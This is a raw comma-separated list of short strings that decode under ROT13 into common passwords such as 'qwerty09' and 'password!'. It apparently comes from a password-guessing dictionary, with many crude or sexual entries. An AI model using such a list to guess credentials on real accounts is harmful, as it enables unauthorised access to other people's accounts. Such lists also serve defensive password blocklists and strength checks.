ylaa,ny1716,fgnat50,pbpb11,terrfr,obo111,oeraana1,wnfbaw,1pureel,1d2345,1kkkkkkk,svsn2011,oebaqol,mnpune1,fnglnz,rnfl1,zntvp7,1envaobj,purrmvg,1rrrrrrr,nfuyrl123,nffnff1,nznaqn123,wreorne,1oooooo,nmregl12,15975391,654321m,gjvagheo,baylbar1,qravf1988,6846xt3e,whzobf,craalqbt,qnaqryvba,unvyrevf,rcreivre,fabbcl69,nsebqvgr,byqchffl,terra55,cbbclcna,irelzhpu,xnglhfun,erpba7,zvar69,gnatbf,pbageb,oybjzr2,wnqr1,fxlqvir1,svirveba,qvzb4xn,obxfre,fgnetvey,sbeqsbphf,gvtref2,cyngvan,onfronyy11,endhr,cvzcre,wnjoernx,ohfgre88,jnygre34,puhpxb,crapunve,ubevmba1,gurpher1,fpp1975,nqevnaan1,xnergn,qhxr12,xevyyr,qhzoshpx,phag1,nyqronena,ynireqn,unehzv,xabcsyre,cbatb1,csuols,qbtzna1,ebffvtab,1uneqba,fpneyrgf,ahttrgf1,voryvrir,nxvasrri,ksuxoe,ngurar,snypba69,unccvr,ovyyyl,avgfhn,svbppb,djregl09,tvmzb2,fynin2,125690,qbttl123,penvtf,inqre123,fvyxrobet,124365,crgrez,123978,xenxngbn,123699,123592,xtirozdl,crafnpby,q1q2q3,fabjfgbe,tbyqraobl,tst65u7,ri700,puhepu1,benatr11,t0qm1yy4,purfgre3,npureba,plaguv,ubgfubg1,wrfhfpuevf,zbgqrcnff,mlzhetl,bar2bar,svrgfory,uneelc,jvfcre,cbbxfgre,aa527uc,qbyyn,zvyxznvq,ehfglobl,greeryy1,rcfvyba1,yvyyvna1,qnyr3,peuotes,znkfvz,fryrpgn,znznqn,sngzna1,hsxwkes,fuvapuna,shpxhnyy,jbzra1,000008,obffff,tergn1,eouwkes,znznfobl,checyr69,sryvpvqnqr,frkl21,pngunl,uhatybj,fcyngg,xnuyrff,fubccvat1,1tnaqnys,gurzvf,qrygn7,zbba69,oyhr24,cneyvnzr,znzzn1,zvlhxv,2500uq,wnpxzrbs,enmre,ebpxre1,whivf123,aberznp,obvat747,9m5ir9eepm,vprjngre,gvgnavn,nyyrl1,zbcnezna,puevfgb1,byvire2,ivavpvhf,gvtresna,purill,wbfuhn99,qbqn99,zngevkk,rxoaes,wnpxsebfg,ivcre01,xnfvn,pasufd,gevgba1,ffog8nr2,ehtol8,enzzna,1yhpxl,onenonfu,tugysagxz,whanvq,ncrfuvg,rasnag,xracb1,fuvg12,007000,znetr1,funqbj10,djregl789,evpuneq8,iovgxz,ybfgoblf,wrfhf4zr,evpuneq4,uvsvir,xbynjbyr,qnzvybyn,cevfzn,cnenabln,cevapr2,yvfnnaa,uncclarff,pneqff,zrgubqzn,fhcrepbc,n8xq47i5,tnztrr,cbyyl123,verar1,ahzore8,ublnfnkn,1qvtvgny,znggurj0,qpykiv,yvfvpn,ebl123,2468013579,fcneqn,dhronyy,inssnaphyb,cnff1jbe,ercziok,999666333,serrqbz8,obgnavx,777555333,znepbf1,yhovznln,synfu2,rvafgrv,08080,123456789w,159951159,159357123,pneebg1,nyvan1995,fnawbf,qvynen,zhfgnat67,jvfgrevn,wuawtgy12,98766789,qnexfha,neknatry,87062134,perngvi1,znylfuxn,shpxgurznyy,onefvp,ebpxfgn,2ovt4h,5avmmn,trarfvf2,ebznapr1,bspbhefr,1ubefr,yngravgr,phonan,fnpgbja,789456123n,zvyyvban,61808861,57699434,vzcrevn,ohoon11,lryybj3,punatr12,55495746,synccl,wvzob123,19372846,19380018,phgynff1,penvt123,xyrcgb,orntyr1,fbyhf,51502112,cnfun1,19822891,46466452,19855891,crgfubc,avxbynrian,119966,abxvn6131,riracne,ubbfvre1,pbagenfran,wnjn350,tbamb123,zbhfr2,115511,rrgshx,tsusitsitsi,1pelfgny,fbsnxvat,pblbgr1,xjvnghfmrx,suesyod,inyrevn1,nagueb,0123654789,nyygurjnl,mbygne,znnfvxnf,jvyqpuvy,serqbavn,rneyterl,tgauwpml,zngevk123,fbyvq1,fynixb,12zbaxrlf,swqxfy,vagre1,abxvn6500,59382113xrivac,fchqql,pnpureb,pbbefyvg,cnffjbeq!,xvon1m,xnevmzn,ibin1994,puvpbal,ratyvfu1,obaqen12,1ebpxrg,uhaqra,wvzobo1,mcsyuwa1,gu0znf,qrhpr22,zrngjnq,sngserr,pbatnf,fnzoben,pbbcre2,wnaar,pynapl1,fgbavr,ohfgn,xnznm,fcrrql2,wnfzvar3,snunlrx,nefrany0,orreff,gevkvr1,obbof69,yhnafnagnan,gbnqzna,pbageby2,rjvat33,znkpng,znzn1964,qvnzbaq4,gnonpb,wbfuhn0,cvcre2,zhfvp101,thloehfu,erlanyq,cvapure,xngvroht,fgneef,cvzcuneq,sebagbfn,nyrk97,pbbgvr,pybpxjbe,oryyhab,fxlrfrgu,obbgl69,puncneen,obbpuvr,terra4,obopng1,unibx,fnennaa,cvcrzna,nrxqo,whzcfubg,jvagrezh,punvxn,1purfgre,ewawngd,rzbxvq,erfrg1,ertny1,w0fuhn,134679n,nfzbqrl,fnenuu,mncvqbb,pvppvbar,fbfrkl,orpxunz23,ubeargf1,nyrk1971,qryrevhz,znantrzr,pbaabe11,1enoovg,fnar4rx,pnfrlobl,poywuwqs,erqfbk20,gggggg99,unhfgbby,naqre,cnagren6,cnffjq1,wbhearl1,9988776655,oyhr135,jevgrefcnpr,kvnblhn123,whfgvpr2,avnten,pnffvf,fpbecvhf,octwyqftwyqguas,tnzrznfgre,oybbql1,ergenp,fgnoova,gblobk,svtug1,lgcls.,tynfun,in2001,gnlybe11,funzryrf,ynqlybir,10078,xneznaa,ebqrbf,rvagevgg,ynarfen,gbonfpb,waeuwdpm,anilzna,cnoyvg,yrfuxn,wrffvpn3,123ivxn,nyran1,cyngvah,vysbeq,fgbez7,haqrearg,fnfun777,1yrtraq,naan2002,xnaznk1994,cbexcvr,guhaqre0,thaqbt,cnyyvan,rnflcnff,qhpx1,fhcrezbz,ebnpu1,gjvapnz,14028,gvmvnab,djregl32,123654789n,riebcn,funzcbb1,lsksxzloe,phool1,gfhanzv1,sxgepggqs,lnfnpenp,17098,uncclunc,ohyyeha,ebqqre,bnxgbja,ubyqr,vforfg,gnlybe9,errcre,unzzre11,whyvnf,ebyygvqr1,pbzcnd123,sbhek4,fhomreb1,ubpxrl9,7znel3,ohfvarf,loeoawpoe,jntbarre,qnaavnfu,cbegvfurnq,qvtvgrk,nyrk1981,qnivq11,vasvqry,1fabbcl,serr30,wnqra,gbagb1,erqpne27,sbbgvr,zbfxjn,gubznf21,unzzre12,ohemhz,pbfzb123,50000,oheygerr,54343,54354,ijcnffng,wnpx5225,pbhtnef1,oheycbal,oynpxubefr,nyrtan,crgreg,xngrzbff,enz123,aryf0a,sreevan,natry77,pfgbpx,1puevfgv,qnir55,nop123n,nyrk1975,ni626ff,syvcbss,sbytber,znk1998,fpvrapr1,fv711ar,lnzf7,jvsrl1,firvxf,pnova1,ibybqvn,bk3sbeq,pnegntra,cyngvav,cvpgher1,fcnexyr1,gvrqbzv,freivpr321,jbbbql,puevfgv1,tanfure,oehabo,unzzvr,venssreg,obg2010,qgplrves,1234567890c,pbbcre11,nypbubyv,fnipuraxb,nqnz01,puryfrn5,avrjvrz,vprorne,yyybbbggg,vybirqvpx,fjrrgchf,zbarl8,pbbxvr13,esaguols1988,obbobb2,nathf123,oybpxohf,qnivq9,puvpn1,anmnerg,fnzfhat9,fzvyr4h,qnlfgne,fxvaanff,wbua10,gurtvey,frklornf,jnfqjnfq1,fvttr1,1dn2jf3rq4es5gt,pmneal,evcyrl1,puevf5,nfuyrl19,navgun,cbxrezna,cerireg,gesaguol,gbal69,trbetvn2,fgbccrqo,djreglhvbc12345,zvavpyvc,senaxl1,qheqbz,pnoontrf,1234567890b,qrygn5,yvhqzvyn,auslpnwuiguf,pbheg1,wbfvrj,nopq1,qbturnq,qvzna,znfvnavn,fbatyvar,obbtyr,gevfgba,qrrcvxn,frkl4zr,tenccyr,fcnprony,robarr,jvagre0,fzbxrjrr,anetvmn,qentbayn,fnfflf,naql2000,zraneqf,lbfuvb,znffvir1,fhpxzl1x,cnffng99,frklob,anfgln1996,vfqrnq,fgengpng,ubxhgb,vasvk,cvqbenf,qnsslqhpx,phzuneq,onyqrnty,xreorebf,lneqzna,fuvonvah,thvgner,pdho6553,gbzzll,ox.ves,ovtsbb,urpgb,whyl27,wnzrf4,ovtthf,rfowret,vftbq,1vevfu,curaznee,wnznvp,ebzn1990,qvnzbaq0,lwqoewq,tveyf4zr,gnzcn1,xnohgb,inqhm,unafr,fcvrat,qvnabpuxn,pfz101,ybean1,btbfuv,cyul6udy,2jfk4esi,pnzreba0,nqronlb,byrt1996,funevcbi,obhobhyr,ubyyvfgre1,sebtff,lrnonol,xnoynz,nqrynagr,zrzrz,ubjvrf,gurevat,prpvyvn1,bargjb12,bwc123456,wbeqna9,zfbepybyrqoe,arirentn,riu5150,erqjva,1nhthfg,pnaab,1zreprqr,zbbql1,zhqoht,purffznf,gvvxrev,fgvpxqnqql77,nyrk15,xinegven,7654321n,ybyyby123,djnfmkrqp,nytber,fbynan,isuolsisuols,oyhr72,zvfun1111,fzbxr20,whavbe13,zbtyv,guerrr,funaaba2,shpxzlyvsr,xrivau,fnenafx,xneraj,vfbyqr,frxvenee,bevba123,gubznf0,qroen1,ynxrgnub,nybaqen,phevin,wnmm1234,1gvtref,wnzobf,yvpxzr2,fhbzv,tnaqnys7,028526,mltbgr,oergg123,oe1ggnal,fhcnsyl,159000,xvateng,yhgba1,pbby-pn,obpzna,gubznfq,fxvyyre,xnggre,znzn777,punap,gbznff,1enpury,byqab7,escslwqs,ovtxri,lryenu,cevznf,bfvgb,xvccre1,zfipe71,ovtobl11,gurfha,abfxpnw,puvpp,fbawn1,ybmvaxn,zbovyr1,1inqre,hzznthzzn,jnirf1,chagre12,ghotga,freire1,vevan1991,zntvp69,qnx001,cnaqrzbavhz,qrnq1,oreyvatb,pureelcv,1zbagnan,ybubgeba,puvpxyrg,nfqstu123456,fgrcfvqr,vxzij103,vpronol,gevyyvhz,1fhpxf,hxearg,tybpx9,no12345,gurcbjre,eboreg8,guhtfgbbyf,ubpxrl13,ohssba,yvirserr,frkcvpf,qrffne,wn0000,ebfraebg,wnzrf10,1svfu,fibybpu,zlxvggl,zhssva11,riohxo,fujvat,negrz1992,naqerl1992,furyqba1,cnffcntr,avxvgn99,shone123,inaanfk,rvtug888,znevny,znk2010,rkcerff2,ivbyragw,2lxa5pps,fcnegna11,oeraqn69,wnpxvrpu,nontnvy,ebova2,tenff1,naql76,oryy1,gnvfba,fhcrezr,ivxn1995,kge451,serq20,89032073168,qravf1984,2000wrrc,jrrgnovk,199020,qnkgre,grivba,cnagure8,u9vlzkzp,ovtevt,xnynzohe,gfnyntv,12213443,enprpne02,wrsserl4,angnkn,ovtfnz,chetngbe,nphenpy,gebhgohz,cbgfzbxr,wvzzlm,znahgq1,algvzrf,cherrivy,orneff,pbby22,qentbantr,abqaneo,qoeolh,4frnfbaf,serhqr,ryevp1,jrehyr,ubpxrl14,12758698,pbexvr,lrnuevtug,oynqrzna,gnsxnc,pynir,yvmvxb,ubsare,wrssuneql,ahevpu,ehaar,fgnavfyn,yhpl1,zbax3l,sbemnebzn,revp99,obanver,oynpxjbb,sratfuhv,1dnm0bxz,arjzbarl,cvzcva69,07078,nabalzre,yncgbc1,pureel12,npr111,fnyfn1,jvyohe1,qbbz12,qvnoyb23,wtgkmoue,haqre1,ubaqn01,oernqsna,zrtna2,whnapneybf,fgenghf1,npxone,ybir5683,uncclgvz,ynzoreg1,poywuglew,xbznebi,fcnz69,asugxes,oebjaa,fnezng,vsvxfe,fcvxr69,ubnatra,natrym,rpbabzvn,gnamra,nibtnqeb,1inzcver,fcnaaref,znmqnek,dhrrdhrt,bevnan,urefuvy,fhynpb,wbfrcu11,8frpbaqf,ndhnevh,phzoreyn,urngure9,nagubal8,ohegba12,pelfgny0,znevn3,dnmjfkp,fabj123,abgtbbq,198520,envaqbt,urrunj,pbafhygn,qnfrva,zvyyre01,pguhyuh1,qhxrahxr,vhover,onlgbja,ungroerr,198505,fvfgrz,yran12,jrypbzr01,znenpn,zvqqyrgb,fvaquh,zvgfbh,cubravk5,ibina,qbanyqb,qlynaqbt,qbzbibl,ynhera12,olewhloaw,123yyyy,fgvyyref,fnapuva,ghycna,fznyyivyy,1zzzzz,cnggv1,sbytref,zvxr31,pbygf18,123456eee,awxzewm,cubravk0,ovrar,vebapvgl,xnfcrebx,cnffjbeq22,svgarf,znggurj6,fcbgyvtu,ohwuz123,gbzzlpng,unmry5,thvgne11,145678,ispzes,pbzcnff1,jvyyrr,1onearl,wnpx2000,yvggyrzvatr,furzc,qreerx,kkk12345,yvggyrshpx,fchqf1,xnebyvaxn,pnzarryl,djreglh123,142500,oenaqba00,zhafba15,snypba3,cnffffnc,m3pa2rei,tbnurnq,onttvb10,141592,qranyv1,37xnmbb,pbcreavp,123456789nfq,benatr88,oeninqn,ehfu211,197700,cnoyb123,hcgurnff,fnzfnz1,qrzbzna,zngglynq10,urlqhqr,zvfgre2,jrexra,13467985,znenagm,n22222,s1s2s3s4,sz12za12,trenfvzbin,oheevgb1,fbal1,tyraal,onyqrntyr,ezsvqq,srabzra,ireongv,sbetrgzr,5ryrzrag,jre138,punary1,bbvph812,10293847dc,zvavpbbcre,puvfcn,zlghea,qrvfry,igueruod,oberqobv4h,svyngbin,nanor,cbvhlg1,oneznyrv,llll1,sbhexvqf,anhzraxb,onatoebf,cbeapyho,bxnlxx,rhpyvq90,jneevbe3,xbearg,cnyrib,cngngvan,tbpneg,nagnagn,wrq1054,pybpx1,111111j,qrjnef,znaxvaq1,crhtrbg406,yvgra,gnuven,ubjyva,anhzbi,ezenpvat,pbebar,phagubyr,cnffvg,ebpx69,wnthnekw,ohzfra,197101,fjrrg2,197010,juvgrpng,fnjnqrr,zbarl100,lsuewaoeo,naqlobl,9085603566,genpr1,snttrg,ebobg1,natry20,6lua7hwz,fcrpvnyvafgn,xnerran,arjoybbq,puvatnqn,obbovrf2,ohttre1,fdhnq51,133naqer,pnyy06,nfurf1,vybiryhpl,fhpprff2,xbggba,pninyyn,cuvybh,qrrorr,guronaq,avar09,negrsnpg,196100,xxxxxxx1,avxbynl9,barybi,onfvn,rzvylnaa,fnqzna,sxewhwxoe,grnzbzhpu,qnivq777,cnqevab,zbarl21,sveqnhf,bevba3,puril01,nyongeb,reqspi,2yrtvg,fnenu7,gbebpx,xrivaa,ubyvb,fbybl,raeba714,fgnesyrrg,djre11,arirezna,qbpgbeju,yhpl11,qvab12,gevavgl7,frngyrba,b123456,cvzczna,1nfqstu,fanxrovg,punapub,cebebx,oyrnpure,enzver,qnexfrrq,jneubefr,zvpunry123,1fcnaxl,1ubgqbt,34reqspi,a0gu1at,qvznapur,ercziols,zvpunrywnpxfba,ybtva1,vprdhrra,gbfuveb,fcrezr,enpre2,irtrg,oveguqnl26,qnavry9,yoirxzes,puneyhf,oelna123,jfcnavp,fpuervor,1naqbayl,qtbvaf,xrjryy,ncbyyb12,rtlcg1,sreavr,gvtre21,nn123456789,oybjw,fcnaqnh,ovfdhvg,12345678q,qrnqznh5,serqvr,311420,uncclsnpr,fnznag,tehccn,svyzfgne,naqerj17,onxrfnyr,frkl01,whfgybbx,ponexyrl,cnhy11,oybbqerq,evqrzr,oveqongu,asxopisl,wnkfba,fvevhf1,xevfgbs,ivetbf,avzebq1,uneqp0er,xvyyreorr,1nopqrs,cvgpure1,whfgbapr,iynqn,qnxbgn99,irfchppv,jcnff,bhgfvqr1,chregbev,esioxs,grnzybfv,itsha2,cbeby777,rzcver11,20091989d,wnfbat,jrohvinyvqng,rfpevzn,ynxref08,gevttre2,nqqcnff,342500,zbatvav,qsugloe,ubeaqbtt,cnyrezb1,136900,onoloyh,nyyn98,qnfun2010,wxryyl,xreabj,lsarpm,ebpxubccre,gbrzna,gynybp,fvyire77,qnir01,xrivae,1234567887654321,135642,zr2lbh,8096468644d,erzzhf,fcvqre7,wnzrfn,wvyyl,fnzon1,qebatb,770129wv,fhcrepng,whagnf,grzn1234,rfgur,1234567892000,qerj11,dnmdnm123,orrtrrf,oybzr,enggenpr,ubjuvtu,gnyyobl,ehshf2,fhaal2,fbh812,zvyyre12,vaqvnan7,veaoeh,cngpu123,yrgzrba,jrypbzr5,anovfpb,9ubgcbva,ucigro,ybivavg,fgbezva,nffzbaxr,gevyy,ngynagv,zbarl1234,phofsna,zryyb1,fgnef2,hrcgxz,ntngr,qnaalz88,ybire123,jbeqm,jbeyqarg,whyrznaq,punfre1,f12345678,cvffjbeq,pvarznk,jbbqpuhp,cbvag1,ubgpuxvf,cnpxref2,onananan,xnyraqre,420666,crathva8,njb8ek3jn8g,ubccvr,zrgyvsr,vybirzlsnzvyl,jrvuanpugfonh,chqqvat1,yhpxlfge,fphyyl1,sngobl1,nzvmnqr,qrqunz,wnuoyrff,oynng,fheeraqr,****re,1cnagvrf,ovtnffrf,tuwhusiopa,nffubyr123,qsxgleo,yvxrzr,avpxref,cynfgvx,urxgbe,qrrzna,zhpunpun,preroeb,fnagnan5,grfgqevir,qenphyn1,pnanyp,y1750fd,fninaanu1,zheran,1vafvqr,cbxrzba00,1vvvvvvv,wbeqna20,frkhny1,znvyyvj,pnyvcfb,014702580369,1mmmmmm,1wwwwww,oernx1,15253545,lbznzn1,xngvaxn,xriva11,1ssssss,znegvwa,ffynmvb,qnavry5,cbeab2,abfznf,yrbyvba,wfpevcg,15975312,chaqnv,xryyv1,xxxqqq,bonstxz,zneznevf,yvyznzn,ybaqba123,esusag,rytbeqb,gnyx87,qnavry7,gurfvzf3,444111,ovfuxrx,nsevxn2002,gbol22,1fcrrql,qnvfuv,2puvyqera,nsebzna,ddddjjjj,byqfxbby,unjnv,i55555,flaqvpng,chxvznx,snangvx,gvtre5,cnexre01,oev5xri6,gvzrkk,jnegohet,ybir55,rpbffr,lryran03,znqvavan,uvtujnl1,husqojsts,xnehan,ohuwislom,jnyyvr,46naq2,xunyvs,rhebc,dnm123jfk456,oboolobo,jbysbar,snyybhgobl,znaavat18,fphon10,fpuahss,vungrlbh1,yvaqnz,fnen123,cbcpbe,snyyratha,qvivar1,zbagoynap,djregl8,ebbarl10,ebnqentr,oregvr1,yngvahf,yrkhfvf,eusisawupe,bcrytg,uvgzr,ntngxn,1lnznun,qzskuxwh,vznybfre,zvpuryy1,fo211fg,fvyire22,ybpxrqhc,naqerj9,zbavpn01,fnfflpng,qfbojvpx,gvaebbs,pgeugalw,ohygnpb,eusplwmupe,nnnnffff,14ff88,wbnaar1,zbznaqqnq,nuwxwqs,lryufn,mvcqevir,gryrfpbc,500600,1frkfrk,snpvny1,zbgneb,511647,fgbare1,grzhwva,ryrcunag1,terngzna,ubarl69,xbpvnx,hxdzjuw6,nygrmmn,phzdhng,mvccbf,xbagvxv,123znk,nygrp1,ovovtba,gbagbf,dnmfrj,abcnfnena,zvyvgne,fhcengg,btynyn,xbonlnfu,ntngur,lnjrgnt,qbtf1,psvrxzes,zrtna123,wnzrfqrn,cbebfrabx,gvtre23,oretre1,uryyb11,frrznaa,fghaare1,jnyxre2,vzvffh,wnonev,zvasq,ybyyby12,uwisl,1-bpg,fgwbuaf,2278124d,123456789djre,nyrk1983,tybjjbez,puvpub,znyyneqf,oyhrqrivy,rkcybere1,543211,pnfvgn,1gvzr,ynpurfvf,nyrk1982,nveobea1,qhorfbe,punatn,yvmmvr1,pncgnvax,fbpbby,ovqhyr,znepu23,1861oee,x.ywkes,jngpubhg,sbgmr,1oevna,xrxfn2,nnnn1122,zngevz,cebivqvna,cevinqb,qernzr,zreel1,nertqbar,qnivqg,abhabhe,gjragl2,cynl2jva,negpnfg2,mbagvx,552255,fuvg1,fyhttl,552861,qe8350,oebbmr,nycun69,guhaqre6,xnzryvn2011,pnyro123,zzkkzz,wnzrfu,ysloxwq,125267,125000,124536,oyvff1,qqqfff,vaqbarfv,obo69,123888,gtxokstl,trene,gurznpx,uvwbqrchgn,tbbq4abj,qqq123,pyx430,xnynfu,gbyxvra1,132sberire,oynpxo,jungvf,f1f2f3f4,ybyxva09,lnznune,48a25epp,qwgvrfgb,111222333444555,ovtohyy,oynqr55,pbbyoerr,xryfr,vpujvyy,lnznun12,fnxvp,ororgb,xngbbz,qbaxr,fnune,jnuvar,645202,tbq666,oreav,fgnejbbq,whar15,fbabvb,gvzr123,yyorna,qrnqfbhy,ynmneri,pqgas,xflhfun,znqnepubq,grpuavx,wnzrfl,4fcrrq,grabefnk,yrtfubj,lbfuv1,puevfoy,44r3roqn,gensnytn,urngure7,frensvzn,snibevgr4,unirsha1,jbyir,55555e,wnzrf13,abferqan,obqrna,wyrggvre,obeenpub,zvpxnry,znevahf,oehgh,fjrrg666,xvobet,ebyyebpx,wnpxfba6,znpebff1,bhfbbare,9085084232,gnxrzr,123djnfmk,sverqrcg,isesuwq,wnpxsebf,123456789000,oevnar,pbbxvr11,onol22,obool18,tebzbin,flfgrzbsnqbja,znegva01,fvyire01,cvznbh,qneguznhy,uvwvak,pbzzb,purpu,fxlzna,fhafr,2ieq6,iynqvzvebian,hguislom,avpbyr01,xerxre,obob1,i123456789,rekgto,zrrgbb,qenxpnc,isis12,zvfvrx1,ohgnar,argjbex2,sylref99,evbtenaq,wraalx,r12345,fcvaar,ninyba11,ybirwbar,fghqra,znvag,cbefpur2,djregl100,punzorey,oyhrqbt1,fhatnz,whfg4h,naqerj23,fhzzre22,yhqvp,zhfvpybire,nthvy,orneqbt1,yvoregva,cvccb1,wbfryvg,cngvgb,ovtoregu,qvtyre,flqarr,wbpxfgen,cbbcb,wnf4na,anfgln123,cebsvy,shrffr,qrsnhyg1,gvgna2,zraqbm,xcpbstf,nanzvxn,oevyyb021,obzorezna,thvgne69,yngpuvat,69chffl,oyhrf2,curytr,avawn123,z7a56kb,djregnfq,nyrk1976,phaavatu,rfgeryn,tynqonpu,znevyyvba,zvxr2000,258046,olcbc,zhssvazna,xq5396o,mrenghy,qwxkojs,wbua77,fvtzn2,1yvaqn,fryhe,erccrc,dhnegm1,grra1,serrpyhf,fcbbx1,xhqbf4rire,pyvgevat,frkvarff,oyhzcxva,znpobbx,gvyrzna,pragen,rfpnsybjar,cragnoyr,funag,tenccn,mireri,1nyoreg,ybzzrefr,pbssrr11,777123,cbyxvyb,zhccrg1,nyrk74,yxwutsqfnmk,byrfvpn,ncevy14,on25547,fbhguf,wnfzv,nenfuv,fzvyr2,2401crqeb,zlonor,nyrk111,dhvagnva,cvzc1,gqrve8o2,znxraan,122333444455555,%r2%82%np,gbbgfvr1,cnff111,mndkfj123,txsqslog,pasaopaoes,hfreznar,vybirlbh12,uneq69,bfnfhan,svertbq,neivaq,onobpuxn,xvff123,pbbxvr123,whyvr123,xnznxnmv,qlyna2,223355,gnathl,aougdn,gvttre13,ghool1,znxniry,nfqsyxw,fnzob1,zbababxr,zvpxrlf,tnlthl,jva123,terra33,jpeskgitowl,ovtfznyy,1arjyvsr,pybir,onolsnp,ovtjnirf,znzn1970,fubpxjni,1sevqnl,onffrl,lneqqbt,pbqrerq1,ivpgbel7,ovtevpx,xenpxre,thysfger,puevf200,fhaonaan,oreghmmv,ortrzbgvx,xhbyrzn,cbaqhf,qrfgvarr,123456789mm,novbqha,sybcfl,nznqrhfcgspbe,trebavz,lttqenfv,pbagrk,qnavry6,fhpx1,nqbavf1,zbbern,ry345612,s22encgbe,zbivrohs,enhapul,6043qxs,mkpioaz123456789,revp11,qrnqzbva,engvht,abfyvj,snaavrf,qnaab,888889,oynax1,zvxrl2,thyyvg,gube99,znzvln,byyvro,gubgu,qnttre1,jrofbyhgvbaffh,obaxre,cevir,1346798520,03038,d1234d,zbzzl2,pbagnk,muvcb,tjraqbyv,tbguvp1,1234562000,ybirqvpx,tvofb,qvtvgny2,fcnpr199,o26354,987654123,tbyvir,frevbhf1,cvixbb,orggre1,824358553,794613258,angn1980,ybtbhg,svfucbaq,ohggff,fdhvqyl,tbbq4zr,erqfbk19,wubaal,mfr45eqk,zngevkkk,ubarl12,enzvan,213546879,zbgmneg,snyy99,arjfcncr,xvyyvg,tvzcl,cubgbjvm,byrfwn,gurohf,znepb123,147852963,orqoht,147369258,uryyobhaq,twtwkes,123987456,ybiruheg,svir55,unzzre01,1234554321n,nyvan2011,crccvab,nat238,dhrfgbe,112358132,nyvan1994,nyvan1998,zbarl77,obowbarf,nvtrevz,perffvqn,znqnyran,420fzbxr,gvapunve,enira13,zbbfre,znhevp,ybiroh,nqvqnf69,xelcgba1,1111112,ybiryvar,qviva,ibfubq,zvpunryz,pbpbggr,toxohuoi,76689295,xryylw,eubaqn1,fjrrgh70,fgrnzsbehzf,trrdhr,abgurer,124p41,dhvkbgvp,fgrnz181,1169900,esptgupeod,esioxz,frkfghss,1231230,qwpgiz,ebpxfgne1,shyunzsp,ourpoe,esagls,dhvxfvyi,56836803,wrqvznfgre,cnatvg,tsuwxz777,gbpbby,1237654,fgryyn12,55378008,19216811,cbggr,sraqre12,zbegnyxbzong,onyy1,ahqrtvey,cnynpr22,enggenc,qrorref,yvpxchffl,wvzzl6,abg4h2p,jreg12,ovtwhttf,fnqbznfb,1357924,312znf,ynfre123,nezvavn,oenasbeq,pbnfgvr,zezbwb,19801982,fpbgg11,onanna123,vaterf,300mkgg,ubbgref6,fjrrgvrf,19821983,19831985,19833891,fvaasrva,jrypbzr4,jvaare69,xvyyrezna,gnpulba,gvter1,alzrgf1,xnatby,znegvarg,fbbgl1,19921993,789djr,unefvatu,1597535,gurpbhag,cunagbz3,36985214,yhxnf123,117711,cnxvfgna1,znqznk11,jvyybj01,19932916,shpxre12,syuepv,bcryntvyn,gurjbeq,nfuyrl24,gvttre3,penmlw,encvqr,qrnqsvfu,nyynan,31359092,fnfun1993,fnaqref2,qvfpzna,mnd!2jfk,obvyrezn,zvpxrl69,wnzrft,onolob,wnpxfba9,bevba7,nyvan2010,vaqvra,oerrmr1,ngrnfr,jnefcvgr,onmbatnm,1prygvp,nfthneq,zltny,svgmtren,1frperg,qhxr33,plxybar,qvcnfphp,cbgncbi,1rfpbone2,p0y0enq0,xxv177ux,1yvggyr,znpbaqb,ivpgbevln,crgre7,erq666,jvafgba6,xy?oraunia,zharpn,wnpxzr,wraana,uncclyvsr,nz4u39q8au,obqlohvy,201980,qhgpuvr,ovttnzr,yncb4xn,enhpura,oynpx10,syndhvg,jngre12,31021364,pbzznaq2,ynvagu88,znmqnzk5,glcuba,pbyva123,epsuysp,djnfmk11,t0njnl,enzve,qvrfvenr,unpxrq1,prffan1,jbbqsvfu,ravtzn2,cdae67j5,bqtrm8w3,tevfbh,uvurryf,5tgtvnkz,2580258,bubgavx,genafvgf,dhnpxref,frewvx,znxramvr,zqztngrj,oelnan,fhcrezna12,zryyl,ybxvg,gurtbq,fyvpxbar,sha4nyy,argcnff,craubefr,1pbbcre,aflap,nfqnfq22,bgurefvqr,ubarlqbt,ureovr1,puvcuv,cebtubhfr,y0aq0a,funtt,fryrpg1,sebfg1996,pnfcre123,pbhage,zntvpung,terngmlb,wlbguv,3ornef,gursyl,avxxvgn,stwpawx,avgebf,ubealf,fna123,yvtugfcr,znfybin,xvzore1,arjlbex2,fcnzzz,zvxrwbar,chzcx1a,oehvfre1,onpbaf,ceryhqr9,obbqvr,qentba4,xraargu2,ybir98,cbjre5,lbqhqr,chzon,guvayvar,oyhr30,frkklow,2qhzo2yvir,zngg21,sbefnyr,1pnebyva,vaabin,vyvxrcbea,eotgxwq,n1f2q3s,jh9942,ehsshf,oynpxobb,djregl999,qenpb1,znepryva,uvqrxv,traqnys,geriba,fnenun,pnegzra,lwuoxzpe,gvzr2tb,snapyho,ynqqre1,puvaav,6942987,havgrq99,yvaqnp,dhnqen,cnbyvg,znvafger,ornab002,yvapbya7,oryyraq,nabzvr,8520456,onatnybe,tbbqfghss,pureabi,fgrcnfuxn,thyyn,zvxr007,senffr,uneyrl03,bzavfynfu,8538622,znelwna,fnfun2011,tvarbx,8807031,ubeavre,tbcvangu,cevaprfvg,oqe529,tbqbja,obffynql,unxnbar,1djr2,znqzna1,wbfuhn11,ybirtnzr,onlnzba,wrqv01,fghcvq12,fcbeg123,nnn666,gbal44,pbyyrpg1,puneyvrz,puvznven,pk18xn,geevz777,puhpxq,gurqernz,erqfbk99,tbbqzbeavat,qrygn88,vybirlbh11,arjyvsr2,svtinz,puvpntb3,wnfbax,12djre,9875321,yrfgng1,fngpbz,pbaqvgvb,pncev50,fnlnxn,9933162,gehaxf1,puvatn,fabbpu,nyrknaq1,svaqhf,cbrxvr,psqols,xrivaq,zvxr1969,sver13,yrsgvr,ovtghan,puvaah,fvyrapr1,prybf1,oynpxqen,nyrk24,tstsvs,2obbof,unccl8,rabyntnl,fngnavi1993,gheare1,qlynaf,crhtrb,fnfun1994,ubccry,pbaab,zbbafubg,fnagn234,zrvfgre1,008800,unanxb,gerr123,djrenf,tsvglzes,erttvr31,nhthfg29,fhcreg,wbfuhn10,nxnqrzvn,toywusp,mbeeb123,angunyvn,erqfbk12,uscqwy,zvfuznfu,abxvnr51,allnaxrrf,gh190022,fgebatob,abar1,abg4h2ab,xngvr2,cbcneg,uneyrdhv,fnagna,zvpuny1,1gurebpx,fperjh,pflrxzes,byrzvff1,glerfr,ubbcyr,fhafuva1,phpvan,fgneonfr,gbcfurys,sbfgrk,pnyvsbeavn1,pnfgyr1,flznagrp,cvccbyb,ononer,gheagnoy,1natryn,zbb123,vcigro,tbtbys,nyrk88,plpyr1,znkvr1,cunfr2,fryuhefg,sheavghe,fnzsbk,sebzirezvar,fund34,tngbef96,pncgnva2,qrybatr,gbzngbr,ovfbhf,mkpioazn,tynpv